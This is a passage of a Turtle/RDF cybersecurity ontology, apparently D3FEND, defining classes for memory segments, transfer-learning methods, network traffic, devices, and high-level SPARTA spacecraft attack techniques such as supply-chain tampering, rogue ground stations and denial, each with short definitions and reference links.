    d3f:definition "The heap segment (or free store) is a large pool of memory from which dynamic memory requests of a process are allocated and satisfied." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Memory_management#HEAP> ;
    rdfs:subClassOf d3f:ProcessSegment .

d3f:HeterogeneousAsymmetricFeature-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Heterogeneous Asymmetric Feature-based Transfer Learning" ;
    d3f:d3fend-id "D3A-HAFBTL" ;
    d3f:definition "Asymmetric transformation mapping  transforms the source feature space to align with that of the target or the target to that of the source. This, in effect, bridges the feature space gap and reduces the problem into a homogeneous transfer problem when further distribution differences need to be corrected." ;
    d3f:kb-article """## References
Wang, Q., Mao, K. Z., Wang, B., & Guan, J. (2017). Big data clustering by hybrid optimization algorithm. Journal of Big Data, 4(1), 25. [Link](https://journalofbigdata.springeropen.com/articles/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:HeterogeneousTransferLearning .

d3f:HeterogeneousFeature-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Heterogeneous Feature-based Transfer Learning" ;
    d3f:d3fend-id "D3A-HFBTL" ;
    d3f:definition "Symmetric transformation  takes both the source feature space Xs and target feature space Xt and learns feature transformations as to project each onto a common subspace Xc for adaptation purposes. This derived subspace becomes a domain-invariant feature subspace to associate cross-domain data, and in effect, reduces marginal distribution differences." ;
    d3f:kb-article """## References
Wang, Q., Mao, K. Z., Wang, B., & Guan, J. (2017). Big data clustering by hybrid optimization algorithm. Journal of Big Data, 4(1), 25. [Link](https://journalofbigdata.springeropen.com/articles/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:HeterogeneousTransferLearning .

d3f:Higher-orderLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Higher-order Logic" ;
    d3f:d3fend-id "D3A-HOL" ;
    d3f:definition "Higher-order logic is a form of predicate logic that is distinguished from first-order logic by additional quantifiers and, sometimes, stronger semantics. Higher-order logics with their standard semantics are more expressive, but their model-theoretic properties are less well-behaved than those of first-order logic." ;
    d3f:kb-article """## References
1. Higher-order logic. (2023, May 13). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Higher-order_logic)""" ;
    d3f:synonym "HOL" ;
    rdfs:subClassOf d3f:PredicateLogic .

d3f:HostConfigurationSensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host Configuration Sensor" ;
    d3f:definition "Collects the configuration data on an endpoint." ;
    d3f:monitors d3f:ApplicationConfiguration,
        d3f:OperatingSystemConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:OperatingSystemConfiguration ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:ApplicationConfiguration ],
        d3f:EndpointSensor .

d3f:HostGroup a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Host Group" ;
    d3f:contains d3f:Host ;
    d3f:definition "A collection of Hosts used to allow operations such as access control to be applied to the entire group." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Host ],
        d3f:AccessControlGroup .

d3f:Hostname a d3f:DomainName,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hostname" ;
    d3f:definition "In computer networking, a hostname (archaically nodename) is a label that is assigned to a device connected to a computer network and that is used to identify the device in various forms of electronic communication, such as the World Wide Web. Hostnames may be simple names consisting of a single word or phrase, or they may be structured." ;
    d3f:identifies d3f:Host ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Hostname> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:Host ],
        d3f:Identifier ;
    skos:altLabel "Nodename" .

d3f:HumanInputDeviceFirmware a owl:Class ;
    rdfs:label "Human Input Device Firmware" ;
    d3f:definition "Firmware that is installed on an HCI device such as a mouse or keyboard." ;
    rdfs:seeAlso d3f:Firmware,
        <http://dbpedia.org/resource/Human_interface_device> ;
    rdfs:subClassOf d3f:PeripheralFirmware .

d3f:Hybrid-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hybrid-based Transfer Learning" ;
    d3f:d3fend-id "D3A-HBTL" ;
    d3f:definition "This method creates an asymmetric mapping from the target to the source and takes into account bias issues of cross-domain correspondences." ;
    d3f:kb-article """## References
Day, O., & Khoshgoftaar, T.M. (2017). A survey on heterogeneous transfer learning. Journal of Big Data, 4(1), 29. [Link](https://doi.org/10.1186/s40537-017-0089-0).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:IA-0001.01 a owl:Class ;
    rdfs:label "Software Dependencies & Development Tools - SPARTA" ;
    d3f:attack-id "IA-0001.01" ;
    d3f:definition "Threat actors may manipulate software dependencies (i.e. dependency confusion) and/or development tools prior to the customer receiving them in order to achieve data or system compromise. Software binaries and applications often depend on external software to function properly. spacecraft developers may use open source projects to help with their creation. These open source projects may be targeted by threat actors as a way to add malicious code to the victim spacecraft's dependencies." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0001/01/> ;
    rdfs:subClassOf d3f:IA-0001 ;
    skos:prefLabel "Software Dependencies & Development Tools" .

d3f:IA-0001.02 a owl:Class ;
    rdfs:label "Software Supply Chain - SPARTA" ;
    d3f:attack-id "IA-0001.02" ;
    d3f:definition "Threat actors may manipulate software binaries and applications prior to the customer receiving them in order to achieve data or system compromise. This attack can take place in a number of ways, including manipulation of source code, manipulation of the update and/or distribution mechanism, or replacing compiled versions with a malicious one." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0001/02/> ;
    rdfs:subClassOf d3f:IA-0001 ;
    skos:prefLabel "Software Supply Chain" .

d3f:IA-0001.03 a owl:Class ;
    rdfs:label "Hardware Supply Chain - SPARTA" ;
    d3f:attack-id "IA-0001.03" ;
    d3f:definition "Threat actors may manipulate hardware components in the victim spacecraft prior to the customer receiving them in order to achieve data or system compromise. The threat actor can insert backdoors and give them a high level of control over the system when they modify the hardware or firmware in the supply chain. This would include ASIC and FPGA devices as well. A spacecraft component can also be damaged if a specific HW component, built to fail after a specific period, or counterfeit with a low reliability, breaks out." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0001/03/> ;
    rdfs:subClassOf d3f:IA-0001 ;
    skos:prefLabel "Hardware Supply Chain" .

d3f:IA-0002 a owl:Class ;
    rdfs:label "Compromise Software Defined Radio - SPARTA" ;
    d3f:attack-id "IA-0002" ;
    d3f:definition "Threat actors may target software defined radios due to their software nature to establish C2 channels. Since SDRs are programmable, when combined with supply chain or development environment attacks, SDRs provide a pathway to setup covert C2 channels for a threat actor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0002/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Compromise Software Defined Radio" .

d3f:IA-0003 a owl:Class ;
    rdfs:label "Crosslink via Compromised Neighbor - SPARTA" ;
    d3f:attack-id "IA-0003" ;
    d3f:definition "Threat actors may compromise a victim spacecraft via the crosslink communications of a neighboring spacecraft that has been compromised. spacecraft in close proximity are able to send commands back and forth. Threat actors may be able to leverage this access to compromise other spacecraft once they have access to another that is nearby." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0003/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Crosslink via Compromised Neighbor" .

d3f:IA-0004.01 a owl:Class ;
    rdfs:label "Ground Station - SPARTA" ;
    d3f:attack-id "IA-0004.01" ;
    d3f:definition "Threat actors may  establish a foothold within the backup ground/mission operations center (MOC) and then perform attacks to force primary communication traffic through the backup communication channel so that other TTPs can be executed (man-in-the-middle, malicious commanding, malicious code, etc.). While an attacker would not be required to force the communications through the backup channel vice waiting until the backup is used for various reasons. Threat actors can also utilize compromised ground stations to chain command execution and payload delivery across geo-separated ground stations to extend reach and maintain access on spacecraft. The backup ground/MOC should be considered a viable attack vector and the appropriate/equivalent security controls from the primary communication channel should be on the backup ground/MOC as well." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0004/01/> ;
    rdfs:subClassOf d3f:IA-0004 ;
    skos:prefLabel "Ground Station" .

d3f:IA-0004.02 a owl:Class ;
    rdfs:label "Receiver - SPARTA" ;
    d3f:attack-id "IA-0004.02" ;
    d3f:definition "Threat actors may target the backup/secondary receiver on the spacecraft as a method to inject malicious communications into the mission. The secondary receivers may come from different supply chains than the primary which could have different level of security and weaknesses. Similar to the ground station, the communication through the secondary receiver could be forced or happening naturally." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0004/02/> ;
    rdfs:subClassOf d3f:IA-0004 ;
    skos:prefLabel "Receiver" .

d3f:IA-0005.01 a owl:Class ;
    rdfs:label "Compromise Emanations - SPARTA" ;
    d3f:attack-id "IA-0005.01" ;
    d3f:definition "Threat actors in close proximity may intercept and analyze electromagnetic radiation emanating from crypto equipment and/or the target spacecraft(i.e., main bus) to determine whether the emanations are information bearing. The data could be used to establish initial access." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0005/01/> ;
    rdfs:subClassOf d3f:IA-0005 ;
    skos:prefLabel "Compromise Emanations" .

d3f:IA-0005.02 a owl:Class ;
    rdfs:label "Docked Vehicle / OSAM - SPARTA" ;
    d3f:attack-id "IA-0005.02" ;
    d3f:definition "Threat actors may leverage docking vehicles to laterally move into a target spacecraft. If information is known on docking plans, a threat actor may target vehicles on the ground or in space to deploy malware to laterally move or execute malware on the target spacecraft via the docking interface." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0005/02/> ;
    rdfs:subClassOf d3f:IA-0005 ;
    skos:prefLabel "Docked Vehicle / OSAM" .

d3f:IA-0005.03 a owl:Class ;
    rdfs:label "Proximity Grappling - SPARTA" ;
    d3f:attack-id "IA-0005.03" ;
    d3f:definition "Threat actors may posses the capability to grapple target spacecraft once it has established the appropriate space rendezvous. If from a proximity / rendezvous perspective a threat actor has the ability to connect via docking interface or expose testing (i.e., JTAG port) once it has grappled the target spacecraft, they could perform various attacks depending on the access enabled via the physical connection." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0005/03/> ;
    rdfs:subClassOf d3f:IA-0005 ;
    skos:prefLabel "Proximity Grappling" .

d3f:IA-0006 a owl:Class ;
    rdfs:label "Compromise Hosted Payload - SPARTA" ;
    d3f:attack-id "IA-0006" ;
    d3f:definition "Threat actors may compromise the target spacecraft hosted payload to initially access and/or persist within the system. Hosted payloads can usually be accessed from the ground via a specific command set. The command pathways can leverage the same ground infrastructure or some host payloads have their own ground infrastructure which can provide an access vector as well. Threat actors may be able to leverage the ability to command hosted payloads to upload files or modify memory addresses in order to compromise the system. Depending on the implementation, hosted payloads may provide some sort of lateral movement potential." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0006/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Compromise Hosted Payload" .

d3f:IA-0007.01 a owl:Class ;
    rdfs:label "Compromise On-Orbit Update - SPARTA" ;
    d3f:attack-id "IA-0007.01" ;
    d3f:definition "Threat actors may manipulate and modify on-orbit updates before they are sent to the target spacecraft. This attack can be done in a number of ways, including manipulation of source code, manipulating environment variables, on-board table/memory values, or replacing compiled versions with a malicious one." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0007/01/> ;
    rdfs:subClassOf d3f:IA-0007 ;
    skos:prefLabel "Compromise On-Orbit Update" .

d3f:IA-0007.02 a owl:Class ;
    rdfs:label "Malicious Commanding via Valid GS - SPARTA" ;
    d3f:attack-id "IA-0007.02" ;
    d3f:definition "Threat actors may compromise target owned ground systems components (e.g., front end processors, command and control software, etc.) that can be used for future campaigns or to perpetuate other techniques. These ground systems components have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0007/02/> ;
    rdfs:subClassOf d3f:IA-0007 ;
    skos:prefLabel "Malicious Commanding via Valid GS" .

d3f:IA-0008.01 a owl:Class ;
    rdfs:label "Rogue Ground Station - SPARTA" ;
    d3f:attack-id "IA-0008.01" ;
    d3f:definition "Threat actors may gain access to a victim spacecraft through the use of a rogue ground system. With this technique, the threat actor does not need access to a legitimate ground station or communication site." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0008/01/> ;
    rdfs:subClassOf d3f:IA-0008 ;
    skos:prefLabel "Rogue Ground Station" .

d3f:IA-0008.02 a owl:Class ;
    rdfs:label "Rogue Spacecraft - SPARTA" ;
    d3f:attack-id "IA-0008.02" ;
    d3f:definition "Threat actors may gain access to a target spacecraft using their own spacecraft that has the capability to maneuver within close proximity to a target spacecraft to carry out a variety of TTPs (i.e., eavesdropping, side-channel, etc.). Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0008/02/> ;
    rdfs:subClassOf d3f:IA-0008 ;
    skos:prefLabel "Rogue Spacecraft" .

d3f:IA-0008.03 a owl:Class ;
    rdfs:label "ASAT/Counterspace Weapon - SPARTA" ;
    d3f:attack-id "IA-0008.03" ;
    d3f:definition """Threat actors may utilize counterspace platforms to access/impact spacecraft. These counterspace capabilities vary significantly in the types of effects they create, the level of technological sophistication required, and the level of resources needed to develop and deploy them. These diverse capabilities also differ in how they are employed and how easy they are to detect and attribute and the permanence of the effects they have on their target.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0008/03/> ;
    rdfs:subClassOf d3f:IA-0008 ;
    skos:prefLabel "ASAT/Counterspace Weapon" .

d3f:IA-0009.01 a owl:Class ;
    rdfs:label "Mission Collaborator (academia, international, etc.) - SPARTA" ;
    d3f:attack-id "IA-0009.01" ;
    d3f:definition "Threat actors may seek to exploit mission partners to gain an initial foothold for pivoting into the mission environment and eventually impacting the spacecraft. The complex nature of many space systems rely on contributions across organizations, including academic partners and even international collaborators. These organizations will undoubtedly vary in their system security posture and attack surface." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0009/01/> ;
    rdfs:subClassOf d3f:IA-0009 ;
    skos:prefLabel "Mission Collaborator (academia, international, etc.)" .

d3f:IA-0009.02 a owl:Class ;
    rdfs:label "Vendor - SPARTA" ;
    d3f:attack-id "IA-0009.02" ;
    d3f:definition "Threat actors may target the trust between vendors and the target spacecraft. Missions often grant elevated access to vendors in order to allow them to manage internal systems as well as cloud-based environments. The vendor's access may be intended to be limited to the infrastructure being maintained but it may provide laterally movement into the target spacecraft. Attackers may leverage security weaknesses in the vendor environment to gain access to more critical mission resources or network locations. In the spacecraft context vendors may have direct commanding and updating capabilities outside of the primary communication channel." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0009/02/> ;
    rdfs:subClassOf d3f:IA-0009 ;
    skos:prefLabel "Vendor" .

d3f:IA-0009.03 a owl:Class ;
    rdfs:label "User Segment - SPARTA" ;
    d3f:attack-id "IA-0009.03" ;
    d3f:definition "Threat actors can target the user segment in an effort to laterally move into other areas of the end-to-end mission architecture. When user segments are interconnected, threat actors can exploit lack of segmentation as the user segment's security undoubtedly varies in their system security posture and attack surface than the primary space mission. The user equipment and users themselves provide ample attack surface as the human element and their vulnerabilities (i.e., social engineering, phishing, iOT) are often the weakest security link and entry point into many systems." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0009/03/> ;
    rdfs:subClassOf d3f:IA-0009 ;
    skos:prefLabel "User Segment" .

d3f:IA-0010 a owl:Class ;
    rdfs:label "Unauthorized Access During Safe-Mode - SPARTA" ;
    d3f:attack-id "IA-0010" ;
    d3f:definition "Threat actors may target a spacecraft in safe mode to establish initial access, taking advantage of reduced authentication, relaxed command filtering, or backup control pathways. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. Since safe mode often prioritizes availability and fault recovery over security, it may process commands that would otherwise be rejected in nominal operations. This condition can provide an entry point into mission operations if improperly protected." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0010/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Unauthorized Access During Safe-Mode" .

d3f:IA-0011 a owl:Class ;
    rdfs:label "Auxiliary Device Compromise - SPARTA" ;
    d3f:attack-id "IA-0011" ;
    d3f:definition "Threat actors may exploit the auxiliary/peripheral devices that get plugged into spacecrafts. It is no longer atypical to see spacecrafts, especially CubeSats, with Universal Serial Bus (USB) ports or other ports where auxiliary/peripheral devices can be plugged in. Threat actors can execute malicious code on the spacecrafts by copying the malicious code to auxiliary/peripheral devices and taking advantage of logic on the spacecraft to execute code on these devices. This may occur through manual manipulation of the auxiliary/peripheral devices, modification of standard IT systems used to initially format/create the auxiliary/peripheral device, or modification to the auxiliary/peripheral devices' firmware itself." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0011/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Auxiliary Device Compromise" .

d3f:IA-0012 a owl:Class ;
    rdfs:label "Assembly, Test, and Launch Operation Compromise - SPARTA" ;
    d3f:attack-id "IA-0012" ;
    d3f:definition "Threat actors may target the spacecraft hardware and/or software while the spacecraft is at Assembly, Test, and Launch Operation (ATLO). ATLO is often the first time pieces of the spacecraft are fully integrated and exchanging data across interfaces. Malware could propagate from infected devices across the integrated spacecraft. For example, test equipment (i.e., transient cyber asset) is often brought in for testing elements of the spacecraft. Additionally, varying levels of physical security is in place which may be a reduction in physical security typically seen during development. The ATLO environment should be considered a viable attack vector and the appropriate/equivalent security controls from the primary development environment should be implemented during ATLO as well." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0012/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Assembly, Test, and Launch Operation Compromise" .

d3f:IA-0013 a owl:Class ;
    rdfs:label "Compromise Host Spacecraft - SPARTA" ;
    d3f:attack-id "IA-0013" ;
    d3f:definition "The inverse of IA-0006, this technique describes adversaries that are targeting a hosted payload, the host space vehicle (SV) can serve as an initial access vector to compromise the payload through vulnerabilities in the SV's onboard systems, communication interfaces, or software. If the SV's command and control systems are exploited, an attacker could gain unauthorized access to the vehicle's internal network. Once inside, the attacker may laterally move to the hosted payload, particularly if it shares data buses, processors, or communication links with the vehicle." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0013/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Compromise Host Spacecraft" .

d3f:ID3 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "ID3" ;
    d3f:d3fend-id "D3A-ID3" ;
    d3f:definition "ID3 stands for Iterative Dichotomiser 3 and is named such because the algorithm iteratively (repeatedly) dichotomizes(divides) features into two or more groups at each step." ;
    d3f:kb-article """## Addtional Consiterations
ID3 is the basis of C4.5, and is best used in natural language processing.

## References
Decision Trees for Classification: ID3 Algorithm Explained. Towards Data Science. [Link](https://towardsdatascience.com/decision-trees-for-classification-id3-algorithm-explained-89df76e72df1).""" ;
    rdfs:subClassOf d3f:DecisionTree .

d3f:IMP-0001 a owl:Class ;
    rdfs:label "Deception (or Misdirection) - SPARTA" ;
    d3f:attack-id "IMP-0001" ;
    d3f:definition "Measures designed to mislead an adversary by manipulation, distortion, or falsification of evidence or information into a system to induce the adversary to react in a manner prejudicial to their interests. Threat actors may seek to deceive mission stakeholders (or even military decision makers) for a multitude of reasons. Telemetry values could be modified, attacks could be designed to intentionally mimic another threat actor's TTPs, and even allied ground infrastructure could be compromised and used as the source of communications to the spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0001/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Deception (or Misdirection)" .

d3f:IMP-0002 a owl:Class ;
    rdfs:label "Disruption - SPARTA" ;
    d3f:attack-id "IMP-0002" ;
    d3f:definition "Measures designed to temporarily impair the use or access to a system for a period of time. Threat actors may seek to disrupt communications from the victim spacecraft to the ground controllers or other interested parties. By disrupting communications during critical times, there is the potential impact of data being lost or critical actions not being performed. This could cause the spacecraft's purpose to be put into jeopardy depending on what communications were lost during the disruption. This behavior is different than Denial as this attack can also attempt to modify the data and messages as they are passed as a way to disrupt communications." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0002/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Disruption" .

d3f:IMP-0003 a owl:Class ;
    rdfs:label "Denial - SPARTA" ;
    d3f:attack-id "IMP-0003" ;
    d3f:definition "Measures designed to temporarily eliminate the use, access, or operation of a system for a period of time, usually without physical damage to the affected system. Threat actors may seek to deny ground controllers and other interested parties access to the victim spacecraft. This would be done exhausting system resource, degrading subsystems, or blocking communications entirely. This behavior is different from Disruption as this seeks to deny communications entirely, rather than stop them for a length of time." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0003/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Denial" .

d3f:IMP-0004 a owl:Class ;
    rdfs:label "Degradation - SPARTA" ;
    d3f:attack-id "IMP-0004" ;
    d3f:definition "Measures designed to permanently impair (either partially or totally) the use of a system. Threat actors may target various subsystems or the hosted payload in such a way to rapidly increase it's degradation. This could potentially shorten the lifespan of the victim spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0004/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Degradation" .

d3f:IMP-0005 a owl:Class ;
    rdfs:label "Destruction - SPARTA" ;
    d3f:attack-id "IMP-0005" ;
    d3f:definition "Measures designed to permanently eliminate the use of a system, potentially through some physical damage to the system. Threat actors may destroy data, commands, subsystems, or attempt to destroy the victim spacecraft itself. This behavior is different from Degradation, as the individual parts are destroyed rather than put in a position in which they would slowly degrade over time." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0005/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Destruction" .

d3f:IMP-0006 a owl:Class ;
    rdfs:label "Theft - SPARTA" ;
    d3f:attack-id "IMP-0006" ;
    d3f:definition "Threat actors may attempt to steal the data that is being gathered, processed, and sent from the victim spacecraft. Many spacecraft have a particular purpose associated with them and the data they gather is deemed mission critical. By attempting to steal this data, the mission, or purpose, of the spacecraft could be lost entirely." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IMP-0006/> ;
    rdfs:subClassOf d3f:SPARTAImpactTechnique ;
    skos:prefLabel "Theft" .

d3f:IPPhone a owl:Class ;
    rdfs:label "IP Phone" ;
    d3f:definition "A VoIP phone or IP phone uses voice over IP technologies for placing and transmitting telephone calls over an IP network, such as the Internet, instead of the traditional public switched telephone network (PSTN). Digital IP-based telephone service uses control protocols such as the Session Initiation Protocol (SIP), Skinny Client Control Protocol (SCCP) or various other proprietary protocols." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/VoIP_phone> ;
    rdfs:subClassOf d3f:PersonalComputer ;
    skos:altLabel "VoIP Phone" .

d3f:ImportLibraryFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Import Library Function" ;
    d3f:definition "Loads an external software library to enable the invocations of its methods." ;
    d3f:loads d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:Subroutine .

d3f:InboundInternetEncryptedWebTraffic a owl:Class ;
    rdfs:label "Inbound Internet Encrypted Web Traffic" ;
    d3f:definition "Inbound internet web traffic is network traffic that is: (a) on an incoming connection initiated from a host outside the network to a host within a network, and (b) using a standard web encryption protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:InboundInternetEncryptedTraffic,
        d3f:InboundInternetWebTraffic .

d3f:InputDeviceEvent a owl:Class ;
    rdfs:label "Input Device Event" ;
    d3f:definition "An event involving human-machine interface devices, such as keyboards, mice, or touchscreens." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:InputDevice ],
        d3f:HardwareDeviceEvent .

d3f:Instance-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Instance-based Transfer Learning" ;
    d3f:d3fend-id "D3A-IBTL" ;
    d3f:definition "Instance-based transfer learning methods try to reweight the samples in the source domain in an attempt to correct for marginal distribution differences. These reweighted instances are then directly used in the target domain for training." ;
    d3f:kb-article """## References
Georgian Impact Blog. (n.d.). Transfer Learning Part 1. [Link](https://medium.com/georgian-impact-blog/transfer-learning-part-1-ed0c174ad6e7#:~:text=Homogeneous%20Transfer%20Learning-,1.,the%20target%20domain%20for%20training).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:InstantMessagingClient a owl:Class ;
    rdfs:label "Instant Messaging Client" ;
    d3f:definition "Client software used to engage in Instant Messaging, a type of online chat that offers real-time text transmission over the Internet. A LAN messenger operates in a similar way over a local area network. Short messages are typically transmitted between two parties, when each user chooses to complete a thought and select \"send\". Some IM applications can use push technology to provide real-time text, which transmits messages character by character, as they are composed. More advanced instant messaging can add file transfer, clickable hyperlinks, Voice over IP, or video chat." ;
    rdfs:isDefinedBy <https://dbpedia.org/wiki/Instant_messaging> ;
    rdfs:subClassOf d3f:CollaborativeSoftware .

d3f:IntegrationTestExecutionTool a owl:Class ;
    rdfs:label "Integration Test Execution Tool" ;
    d3f:definition "An integration test execution tool automatically performs integration testing.  Integration testing (sometimes called integration and testing, abbreviated I&T) is the phase in software testing in which individual software modules are combined and tested as a group." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Integration_testing> ;
    rdfs:subClassOf d3f:TestExecutionTool .

d3f:InternationalizedDomainName a d3f:DomainName,
        owl:NamedIndividual ;
    rdfs:label "Internationalized Domain Name" .

d3f:InternetBasedAttacker a owl:Class ;
    rdfs:label "Internet-based Attacker" ;
    d3f:definition "A remote attacker who leverages the internet to conduct attacks, such as through phishing, malware, or direct network attacks." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:WideAreaNetwork ],
        d3f:RemoteAttacker .

d3f:InternetDNSLookup a owl:Class ;
    rdfs:label "Internet DNS Lookup" ;
    d3f:definition "An internet Domain Name System (DNS) lookup is a DNS lookup made from a host on a network that is resolved after querying a DNS name server hosted on a different network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:DNSLookup .

d3f:InternetFileTransferTraffic a owl:Class ;
    rdfs:label "Internet File Transfer Traffic" ;
    d3f:definition "Internet file transfer network traffic is network traffic related to file transfers between network nodes that crosses a boundary between networks. This includes only network traffic conforming to standard file transfer protocols, not custom transfer protocols." ;
    rdfs:subClassOf d3f:FileTransferNetworkTraffic,
        d3f:InternetNetworkTraffic .

d3f:InternetNetwork a owl:Class ;
    rdfs:label "Internet Network" ;
    d3f:definition "A network of multiple, connected networks. Internetworking is the practice of connecting a computer network with other networks through the use of gateways that provide a common method of routing information packets between the networks. The resulting system of interconnected networks are called an internetwork, or simply an internet. Internetworking is a combination of the words inter (\"between\") and networking; not internet-working or international-network." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:Network ;
    skos:altLabel "Interconnected Network",
        "Internet",
        "Internetwork" .

d3f:InternetPersona a owl:Class ;
    rdfs:label "Internet Persona" ;
    d3f:definition "A social identity that an Internet user establishes in online communities and websites. It may also be an actively constructed presentation of oneself." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Online_identity> ;
    rdfs:seeAlso <https://en.wikipedia.org/wiki/Online_identity> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "Online Identity",
        "Online Persona",
        "Online Personality" .

d3f:IntervalEstimation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Interval Estimation" ;
    d3f:d3fend-id "D3A-IE" ;
    d3f:definition "Interval estimation is the use of sample data to estimate an interval of possible values of a parameter of interest." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Interval estimation. [Link](https://en.wikipedia.org/wiki/Interval_estimation)""" ;
    rdfs:subClassOf d3f:Estimation .

d3f:IntranetDNSLookup a owl:Class ;
    rdfs:label "Intranet DNS Lookup" ;
    d3f:definition "An Intranet Domain Name System (DNS) lookup is a DNS lookup made from a host on a network that is resolved after querying a DNS name server hosted on a that same network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:DNSLookup .

d3f:IntranetRPCNetworkTraffic a owl:Class ;
    rdfs:label "Intranet RPC Network Traffic" ;
    d3f:definition "Intranet RPC network traffic is network traffic that does not cross a given network's boundaries and uses a standard remote procedure call (e.g., RFC 1050) protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet>,
        <http://dbpedia.org/resource/Remote_procedure_call> ;
    rdfs:subClassOf d3f:IntranetNetworkTraffic,
        d3f:RPCNetworkTraffic .

d3f:IntrusionPreventionSystem a owl:Class ;
    rdfs:label "Intrusion Prevention System" ;
